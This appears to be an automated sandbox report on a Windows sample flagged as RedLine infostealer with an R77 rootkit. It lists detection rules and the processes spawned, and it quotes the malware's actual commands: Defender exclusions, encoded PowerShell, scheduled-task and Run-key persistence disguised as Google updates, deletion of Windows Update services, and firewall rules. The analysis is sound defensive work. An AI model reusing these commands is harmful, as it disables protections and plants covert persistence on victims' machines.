Source: unknown	HTTPS traffic detected: 172.66.43.60:443 -> 192.168.2.3:50071 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.66.43.60:443 -> 192.168.2.3:50074 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.66.43.60:443 -> 192.168.2.3:50077 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.66.43.60:443 -> 192.168.2.3:50088 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.66.43.60:443 -> 192.168.2.3:50093 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.66.43.60:443 -> 192.168.2.3:50096 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.66.43.60:443 -> 192.168.2.3:50099 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.66.43.60:443 -> 192.168.2.3:50102 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.66.43.60:443 -> 192.168.2.3:50107 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.66.43.60:443 -> 192.168.2.3:50113 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.66.43.60:443 -> 192.168.2.3:50118 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.66.43.60:443 -> 192.168.2.3:50125 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.66.43.60:443 -> 192.168.2.3:50131 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.66.43.60:443 -> 192.168.2.3:50133 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.66.43.60:443 -> 192.168.2.3:50136 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.66.43.60:443 -> 192.168.2.3:50139 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.66.43.60:443 -> 192.168.2.3:50141 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.66.43.60:443 -> 192.168.2.3:50147 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.66.43.60:443 -> 192.168.2.3:50154 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.66.43.60:443 -> 192.168.2.3:50173 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.66.43.60:443 -> 192.168.2.3:50173 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.66.43.60:443 -> 192.168.2.3:50181 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.66.43.60:443 -> 192.168.2.3:50194 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.66.43.60:443 -> 192.168.2.3:50197 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.66.43.60:443 -> 192.168.2.3:50200 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.66.43.60:443 -> 192.168.2.3:50203 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.66.43.60:443 -> 192.168.2.3:50211 version: TLS 1.2

Source: ofg.exe, 00000011.00000002.593280705.00000000010FA000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: <HOOK MODULE="DDRAW.DLL" FUNCTION="DirectDrawCreateEx"/>

System Summary

Malicious sample detected (through community Yara rule)

Source: 0.2.cfBJlHsOsz.exe.41b788.1.unpack, type: UNPACKEDPE	Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 34.2.powershell.exe.1fa7d180000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Rootkit_R77_5bab748b Author: unknown
Source: 34.2.powershell.exe.1fa7d180000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Rootkit_R77_5bab748b Author: unknown
Source: 20.0.ofg.exe.840000.0.unpack, type: UNPACKEDPE	Matched rule: Detects executables embedding command execution via IExecuteCommand COM object Author: ditekSHen
Source: 17.2.ofg.exe.840000.0.unpack, type: UNPACKEDPE	Matched rule: Detects executables embedding command execution via IExecuteCommand COM object Author: ditekSHen
Source: 20.2.ofg.exe.840000.0.unpack, type: UNPACKEDPE	Matched rule: Detects executables embedding command execution via IExecuteCommand COM object Author: ditekSHen
Source: 17.0.ofg.exe.840000.0.unpack, type: UNPACKEDPE	Matched rule: Detects executables embedding command execution via IExecuteCommand COM object Author: ditekSHen
Source: 0.3.cfBJlHsOsz.exe.460000.0.unpack, type: UNPACKEDPE	Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 0.2.cfBJlHsOsz.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Detects RedLine infostealer Author: ditekSHen
Source: 34.2.powershell.exe.1fa7dc50000.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Rootkit_R77_5bab748b Author: unknown
Source: 34.2.powershell.exe.1fa7dc50000.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Rootkit_R77_5bab748b Author: unknown
Source: 00000022.00000002.562595624.000001FA7D180000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Rootkit_R77_5bab748b Author: unknown
Source: 00000022.00000002.567019472.000001FA7DC50000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Rootkit_R77_5bab748b Author: unknown
Source: C:\Users\user\AppData\Local\Google\ofg.exe, type: DROPPED	Matched rule: Detects executables embedding command execution via IExecuteCommand COM object Author: ditekSHen

Uses powercfg.exe to modify the power settings

Source: C:\Windows\System32\cmd.exe

Process created: C:\Windows\System32\powercfg.exe powercfg /x -hibernate-timeout-ac 0

Source: C:\Users\user\Desktop\cfBJlHsOsz.exe

Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 2572 -s 248

Source: C:\Users\user\Desktop\cfBJlHsOsz.exe	Code function: 0_2_00405610	0_2_00405610
Source: C:\Users\user\Desktop\cfBJlHsOsz.exe	Code function: 0_2_004094C8	0_2_004094C8
Source: C:\Users\user\Desktop\cfBJlHsOsz.exe	Code function: 0_2_00412570	0_2_00412570
Source: C:\Users\user\Desktop\cfBJlHsOsz.exe	Code function: 0_2_00409D71	0_2_00409D71
Source: C:\Users\user\Desktop\cfBJlHsOsz.exe	Code function: 0_2_0040A17D	0_2_0040A17D
Source: C:\Users\user\Desktop\cfBJlHsOsz.exe	Code function: 0_2_0040999D	0_2_0040999D
Source: C:\Users\user\Desktop\cfBJlHsOsz.exe	Code function: 0_2_0040A59D	0_2_0040A59D
Source: C:\Users\user\Desktop\cfBJlHsOsz.exe	Code function: 0_2_00410621	0_2_00410621
Source: C:\Users\user\Desktop\cfBJlHsOsz.exe	Code function: 0_2_004136F0	0_2_004136F0
Source: C:\Users\user\Desktop\cfBJlHsOsz.exe	Code function: 0_2_00414AAC	0_2_00414AAC
Source: C:\Users\user\Desktop\cfBJlHsOsz.exe	Code function: 0_2_00412AB4	0_2_00412AB4
Source: C:\Users\user\Desktop\cfBJlHsOsz.exe	Code function: 0_2_00420760	0_2_00420760
Source: C:\Users\user\Desktop\cfBJlHsOsz.exe	Code function: 0_2_00412FF8	0_2_00412FF8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 2_2_05760908	2_2_05760908
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 2_2_0576F6D0	2_2_0576F6D0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 2_2_0AF6DB10	2_2_0AF6DB10
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 2_2_0AF6F8E8	2_2_0AF6F8E8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 2_2_0AF6E940	2_2_0AF6E940
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 2_2_0AF6E2E8	2_2_0AF6E2E8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 2_2_0AF662C0	2_2_0AF662C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 2_2_0AF646E0	2_2_0AF646E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 2_2_0AF665E0	2_2_0AF665E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 2_2_0AF6DB01	2_2_0AF6DB01
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 2_2_0AF6F8D8	2_2_0AF6F8D8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Code function: 2_2_0AF6C831	2_2_0AF6C831
Source: C:\Users\user\AppData\Local\Google\brave.exe	Code function: 14_2_00007FF6FC4C1770	14_2_00007FF6FC4C1770
Source: C:\Users\user\AppData\Local\Google\brave.exe	Code function: 14_2_00007FF6FC4C3170	14_2_00007FF6FC4C3170
Source: C:\Users\user\AppData\Local\Google\brave.exe	Code function: 14_2_00007FF6FC4C6EE0	14_2_00007FF6FC4C6EE0
Source: C:\Users\user\AppData\Local\Google\brave.exe	Code function: 14_2_00007FF6FC4C29D0	14_2_00007FF6FC4C29D0
Source: C:\Users\user\AppData\Local\Google\brave.exe	Code function: 14_2_00007FF6FC4E2510	14_2_00007FF6FC4E2510

Source: C:\Windows\System32\cmd.exe

Process created: C:\Windows\System32\reg.exe reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f

Source: updater.exe.14.dr	Static PE information: Number of sections : 11 > 10
Source: brave.exe.2.dr	Static PE information: Number of sections : 11 > 10

Source: cfBJlHsOsz.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: 0.2.cfBJlHsOsz.exe.41b788.1.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 34.2.powershell.exe.1fa7d180000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Rootkit_R77_5bab748b reference_sample = cfc76dddc74996bfbca6d9076d2f6627912ea196fdbdfb829819656d4d316c0c, os = windows, severity = x86, creation_date = 2022-03-04, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Rootkit.R77, fingerprint = 2523d25c46bbb9621f0eceeda10aff31e236ed0bf03886de78524bdd2d39cfaa, id = 5bab748b-8576-4967-9b50-a3778db1dd71, last_modified = 2022-04-12
Source: 34.2.powershell.exe.1fa7d180000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Rootkit_R77_5bab748b reference_sample = cfc76dddc74996bfbca6d9076d2f6627912ea196fdbdfb829819656d4d316c0c, os = windows, severity = x86, creation_date = 2022-03-04, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Rootkit.R77, fingerprint = 2523d25c46bbb9621f0eceeda10aff31e236ed0bf03886de78524bdd2d39cfaa, id = 5bab748b-8576-4967-9b50-a3778db1dd71, last_modified = 2022-04-12
Source: 20.0.ofg.exe.840000.0.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_RegKeyComb_IExecuteCommandCOM author = ditekSHen, description = Detects executables embedding command execution via IExecuteCommand COM object
Source: 17.2.ofg.exe.840000.0.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_RegKeyComb_IExecuteCommandCOM author = ditekSHen, description = Detects executables embedding command execution via IExecuteCommand COM object
Source: 43.0.GoogleUpdate.exe.970000.0.unpack, type: UNPACKEDPE	Matched rule: SUSP_Unsigned_GoogleUpdate date = 2019-08-05, author = Florian Roth, description = Detects suspicious unsigned GoogleUpdate.exe, score = 5aa84aa5c90ec34b7f7d75eb350349ae3aa5060f3ad6dd0520e851626e9f8354, reference = Internal Research
Source: 20.2.ofg.exe.840000.0.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_RegKeyComb_IExecuteCommandCOM author = ditekSHen, description = Detects executables embedding command execution via IExecuteCommand COM object
Source: 17.0.ofg.exe.840000.0.unpack, type: UNPACKEDPE	Matched rule: INDICATOR_SUSPICIOUS_EXE_RegKeyComb_IExecuteCommandCOM author = ditekSHen, description = Detects executables embedding command execution via IExecuteCommand COM object
Source: 21.2.chrome.exe.1734b18.1.unpack, type: UNPACKEDPE	Matched rule: SUSP_Unsigned_GoogleUpdate date = 2019-08-05, author = Florian Roth, description = Detects suspicious unsigned GoogleUpdate.exe, score = 5aa84aa5c90ec34b7f7d75eb350349ae3aa5060f3ad6dd0520e851626e9f8354, reference = Internal Research
Source: 0.3.cfBJlHsOsz.exe.460000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 51.0.GoogleUpdate.exe.970000.0.unpack, type: UNPACKEDPE	Matched rule: SUSP_Unsigned_GoogleUpdate date = 2019-08-05, author = Florian Roth, description = Detects suspicious unsigned GoogleUpdate.exe, score = 5aa84aa5c90ec34b7f7d75eb350349ae3aa5060f3ad6dd0520e851626e9f8354, reference = Internal Research
Source: 0.2.cfBJlHsOsz.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_RedLine snort2_sid = 920072-920073, author = ditekSHen, description = Detects RedLine infostealer, clamav_sig = MALWARE.Win.Trojan.RedLine-1, MALWARE.Win.Trojan.RedLine-2, snort3_sid = 920072-920073
Source: 34.2.powershell.exe.1fa7dc50000.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Rootkit_R77_5bab748b reference_sample = cfc76dddc74996bfbca6d9076d2f6627912ea196fdbdfb829819656d4d316c0c, os = windows, severity = x86, creation_date = 2022-03-04, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Rootkit.R77, fingerprint = 2523d25c46bbb9621f0eceeda10aff31e236ed0bf03886de78524bdd2d39cfaa, id = 5bab748b-8576-4967-9b50-a3778db1dd71, last_modified = 2022-04-12
Source: 34.2.powershell.exe.1fa7dc50000.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Rootkit_R77_5bab748b reference_sample = cfc76dddc74996bfbca6d9076d2f6627912ea196fdbdfb829819656d4d316c0c, os = windows, severity = x86, creation_date = 2022-03-04, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Rootkit.R77, fingerprint = 2523d25c46bbb9621f0eceeda10aff31e236ed0bf03886de78524bdd2d39cfaa, id = 5bab748b-8576-4967-9b50-a3778db1dd71, last_modified = 2022-04-12
Source: 00000022.00000002.562595624.000001FA7D180000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Rootkit_R77_5bab748b reference_sample = cfc76dddc74996bfbca6d9076d2f6627912ea196fdbdfb829819656d4d316c0c, os = windows, severity = x86, creation_date = 2022-03-04, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Rootkit.R77, fingerprint = 2523d25c46bbb9621f0eceeda10aff31e236ed0bf03886de78524bdd2d39cfaa, id = 5bab748b-8576-4967-9b50-a3778db1dd71, last_modified = 2022-04-12
Source: 00000022.00000002.567019472.000001FA7DC50000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Rootkit_R77_5bab748b reference_sample = cfc76dddc74996bfbca6d9076d2f6627912ea196fdbdfb829819656d4d316c0c, os = windows, severity = x86, creation_date = 2022-03-04, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Rootkit.R77, fingerprint = 2523d25c46bbb9621f0eceeda10aff31e236ed0bf03886de78524bdd2d39cfaa, id = 5bab748b-8576-4967-9b50-a3778db1dd71, last_modified = 2022-04-12
Source: C:\Users\user\AppData\Local\Google\ofg.exe, type: DROPPED	Matched rule: INDICATOR_SUSPICIOUS_EXE_RegKeyComb_IExecuteCommandCOM author = ditekSHen, description = Detects executables embedding command execution via IExecuteCommand COM object

Source: C:\Users\user\AppData\Local\Google\chrome.exe

File created: C:\Windows\GoogleUpdate.exe

Jump to behavior

Source: C:\Users\user\AppData\Local\Google\brave.exe	Code function: String function: 00007FF6FC4F2490 appears 59 times
Source: C:\Users\user\AppData\Local\Google\brave.exe	Code function: String function: 00007FF6FC4F1250 appears 107 times
Source: C:\Users\user\Desktop\cfBJlHsOsz.exe	Code function: String function: 004079F0 appears 63 times

Source: C:\Users\user\AppData\Local\Google\brave.exe

Code function: 14_2_00007FF6FC4C4C80 NtDelayExecution,

14_2_00007FF6FC4C4C80

Source: 8ABA.tmp.14.dr

Static PE information: Resource name: EXE type: PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows

Source: cfBJlHsOsz.exe	Binary or memory string: OriginalFilename vs cfBJlHsOsz.exe
Source: cfBJlHsOsz.exe, 00000000.00000000.248261419.000000000043F000.00000002.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameBeefB vs cfBJlHsOsz.exe
Source: cfBJlHsOsz.exe, 00000000.00000002.269701841.000000000041C000.00000004.00000001.01000000.00000003.sdmp	Binary or memory string: OriginalFilenameEffulging.exe4 vs cfBJlHsOsz.exe
Source: cfBJlHsOsz.exe	Binary or memory string: OriginalFilenameBeefB vs cfBJlHsOsz.exe

Source: cfBJlHsOsz.exe

Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe

File created: C:\Users\user\AppData\Local\Yandex

Jump to behavior

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@92/27@6/5

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Users\user\AppData\Local\Google\brave.exe

Code function: 14_2_00007FF6FC4CF6C0 GetLastError,FormatMessageA,IsDebuggerPresent,OutputDebugStringA,OutputDebugStringA,OutputDebugStringA,LocalFree,

14_2_00007FF6FC4CF6C0

Source: C:\Users\user\AppData\Local\Google\brave.exe

File created: C:\Program Files\Google\Chrome\updater.exe

Jump to behavior

Source: cfBJlHsOsz.exe	ReversingLabs: Detection: 84%
Source: cfBJlHsOsz.exe	Virustotal: Detection: 54%

Source: C:\Users\user\Desktop\cfBJlHsOsz.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\cfBJlHsOsz.exe C:\Users\user\Desktop\cfBJlHsOsz.exe
Source: C:\Users\user\Desktop\cfBJlHsOsz.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\cfBJlHsOsz.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe
Source: C:\Users\user\Desktop\cfBJlHsOsz.exe	Process created: C:\Windows\SysWOW64\WerFault.exe C:\Windows\SysWOW64\WerFault.exe -u -p 2572 -s 248
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process created: C:\Users\user\AppData\Local\Google\brave.exe "C:\Users\user\AppData\Local\Google\brave.exe"
Source: C:\Users\user\AppData\Local\Google\brave.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process created: C:\Users\user\AppData\Local\Google\ofg.exe "C:\Users\user\AppData\Local\Google\ofg.exe"
Source: C:\Users\user\AppData\Local\Google\ofg.exe	Process created: C:\Windows\SysWOW64\schtasks.exe SCHTASKS /Create /TR "C:\Users\user\AppData\Local\Google\ofg.exe" /TN "MicrosoftEdge{e60e5877-76e2-4b84-98a8-90161a4b47ca}" /SC ONLOGON /F /RL HIGHEST
Source: C:\Windows\SysWOW64\schtasks.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Users\user\AppData\Local\Google\ofg.exe C:\Users\user\AppData\Local\Google\ofg.exe
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Process created: C:\Users\user\AppData\Local\Google\chrome.exe "C:\Users\user\AppData\Local\Google\chrome.exe"
Source: C:\Users\user\AppData\Local\Google\ofg.exe	Process created: C:\Windows\SysWOW64\schtasks.exe SCHTASKS /Create /TR "C:\Users\user\AppData\Local\Google\ofg.exe" /TN "MicrosoftEdge{e60e5877-76e2-4b84-98a8-90161a4b47ca}" /SC ONLOGON /F /RL HIGHEST
Source: C:\Windows\SysWOW64\schtasks.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Google\chrome.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -enC QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAnAEMAOgBcAFUAcwBlAHIAcwBcAFIAZQB2AGUAbABpAG4AJwAsACAAJwBDADoAXABQAHIAbwBnAHIAYQBtACAARgBpAGwAZQBzACcAKQAgAC0ARgBvAHIAYwBlAA==
Source: C:\Users\user\AppData\Local\Google\chrome.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -enC UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0AUwB1AGIAbQBpAHQAUwBhAG0AcABsAGUAcwBDAG8AbgBzAGUAbgB0ACAAMgA=
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Google\chrome.exe	Process created: C:\Windows\SysWOW64\schtasks.exe SCHTASKS /Create /TR "C:\Users\user\AppData\Local\Google\chrome.exe" /TN "GoogleUpdateTask{56c41dbe-92cb-4ab7-b423-bd40cb65f9fe}" /SC ONLOGON /F /RL HIGHEST
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\schtasks.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Google\brave.exe	Process created: C:\Windows\System32\cmd.exe cmd /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f
Source: C:\Users\user\AppData\Local\Google\brave.exe	Process created: C:\Windows\System32\cmd.exe cmd /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Google\brave.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell <#ecgxrz#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { "schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe'''" } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe sc stop UsoSvc
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\AppData\Local\Google\chrome.exe	Process created: C:\Windows\SysWOW64\schtasks.exe SCHTASKS /Create /TR "C:\Users\user\AppData\Local\Google\chrome.exe" /TN "GoogleUpdateTaskUAC{0625ad4f-50a5-4d12-b200-288d853de0d5}" /SC HOURLY /F /MO 1 /RL HIGHEST
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\powercfg.exe powercfg /x -hibernate-timeout-ac 0
Source: C:\Windows\SysWOW64\schtasks.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Users\user\AppData\Local\Google\chrome.exe C:\Users\user\AppData\Local\Google\chrome.exe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe sc stop WaaSMedicSvc
Source: C:\Users\user\AppData\Local\Google\chrome.exe	Process created: C:\Windows\GoogleUpdate.exe C:\Windows\GoogleUpdate.exe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\powercfg.exe powercfg /x -hibernate-timeout-dc 0
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe sc stop wuauserv
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\powercfg.exe powercfg /x -standby-timeout-ac 0
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe sc stop bits
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\powercfg.exe powercfg /x -standby-timeout-dc 0
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\sc.exe sc stop dosvc
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f
Source: C:\Users\user\AppData\Local\Google\chrome.exe	Process created: C:\Windows\GoogleUpdate.exe C:\Windows\GoogleUpdate.exe
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\reg.exe reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f
Source: C:\Users\user\AppData\Local\Google\chrome.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -enC QQBkAGQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0ARQB4AGMAbAB1AHMAaQBvAG4AUABhAHQAaAAgAEAAKAAnAEMAOgBcAFUAcwBlAHIAcwBcAFIAZQB2AGUAbABpAG4AJwAsACAAJwBDADoAXABQAHIAbwBnAHIAYQBtACAARgBpAGwAZQBzACcAKQAgAC0ARgBvAHIAYwBlAA==
Source: unknown	Process created: C:\Users\user\AppData\Local\Google\chrome.exe C:\Users\user\AppData\Local\Google\chrome.exe
Source: C:\Windows\GoogleUpdate.exe	Process created: C:\Windows\SysWOW64\netsh.exe netsh firewall add allowedprogram "C:\Windows\GoogleUpdate.exe" "Google Updater" ENABLE ALL
Source: C:\Users\user\AppData\Local\Google\chrome.exe	Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe powershell -enC UwBlAHQALQBNAHAAUAByAGUAZgBlAHIAZQBuAGMAZQAgAC0AUwB1AGIAbQBpAHQAUwBhAG0AcABsAGUAcwBDAG8AbgBzAGUAbgB0ACAAMgA=
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\GoogleUpdate.exe	Process created: C:\Windows\SysWOW64\netsh.exe netsh advfirewall firewall add rule name="Google Updater" dir=in action=allow program="C:\Windows\GoogleUpdate.exe" enable=yes
Source: C:\Windows\SysWOW64\netsh.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\cfBJlHsOsz.exe	Process created: C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe C:\Windows\Microsoft.NET\Framework\v4.0.30319\vbc.exe	Jump to behavior
